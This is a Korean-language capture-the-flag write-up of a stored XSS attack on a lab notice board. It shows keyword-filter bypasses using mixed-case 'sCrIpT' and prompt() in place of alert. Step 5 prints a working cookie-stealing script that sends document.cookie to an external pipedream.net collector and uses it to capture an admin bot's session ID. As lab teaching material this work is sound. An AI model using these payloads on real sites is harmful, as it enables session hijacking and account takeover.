1. XSS 포인트
제공된 호스트 접속 시, "xss_5/notice_list.php" 경로에서
Stored XSS 공격이 발생할 수 있는 공지사항 게시판 페이지를 확인할 수 있다.
스크립트 작성 경로 : /xss_5/notice_write_process.php
write.php 파라미터 : create_title, create_body
스크립트 실행 경로 : /xss_5/notice_read.php
read.php 파라미터 : id, view
스크립트가 작성될 수 있는 게시글 작성 페이지와 파라미터,
스크립트가 실행될 수 있는 게시글 읽기 페이지를 확인할 수 있었다.
(* Stored XSS 포인트 확인)
2. 특수문자 필터링 확인하기
게시글을 작성하는 "/xss_5/notice_write_process.php" 페이지에
제목, 본문에 해당하는 파라미터를 통해
사용할 수 있는 특수문자를 테스트하는 요청을 보냈다.
작성한 게시글을 읽는 "/xss_5/notice_read.php" 페이지의 응답을 확인하니,
모든 특수문자가 출력되며, 사용 가능한 것을 알 수 있다.
3. 스크립트 삽입
스크립트 태그가 동작하는지 요청을 보냈다.
응답에서 "script" 문자열이 필터링되는 모습을 확인할 수 있다.
"script" 문자열 필터링을 우회하기 위해
대소문자를 섞은 "sCrIpT" 문자열로 요청을 보냈다.
응답에서 스크립트 태그가 정상적으로 삽입된 것을 확인할 수 있다.
POC 코드인 alert(1)을 삽입하여 요청했다.
응답에서 "alert" 문자열이 필터링되는 모습을 확인할 수 있다.
"alert" 문자열 필터링을 우회하기 위해
비슷한 POC 기능을 하는 prompt 함수를 이용해 요청을 보냈다.
응답에서 prompt 함수가 정상적으로 삽입된 것을 확인할 수 있다.
POC 스크립트가 삽입된 게시글에 접근해 보니,
악성 스크립트로 대변된 POC 코드가 동작하는 것을 볼 수 있다.
4. 예상 피해
- 사용자 쿠키 탈취 : document.cookie
- 사용자 개인정보 탈취 : keylogger
- 악성코드 다운 & 실행
- 피싱 사이트 강제 이동 : location.href
만약 공격자가 POC 코드 대신 위와 같은 악성 스크립트를 작성한다면
일반 사용자들이 해당 게시글을 읽을 때,
공격 스크립트가 사용자의 웹 브라우저에서 동작해
피해가 발생할 것으로 보인다.
5. 쿠키 탈취
<sCrIpT>var i = new Image(); i.src = "https://en88y0voes91u.x.pipedream.net/?cookie="+document.cookie;</sCrIpT>
쿠키를 탈취하는 스크립트 작성한 다음
게시글 본문에 해당 스크립트를 넣어 수정했다.
수정된 게시글에 접근 시,
게시글에 접속한 사용자의 세션 ID를 공격자 서버에서 확인할 수 있다.
쿠키 탈취 스크립트가 삽입된 게시글의 URL을
관리자 봇이 접근할 수 있게 입력해 보니,
공격자 서버에서
피해자인 관리자의 세션 ID
즉, FLAG를 얻을 수 있었다.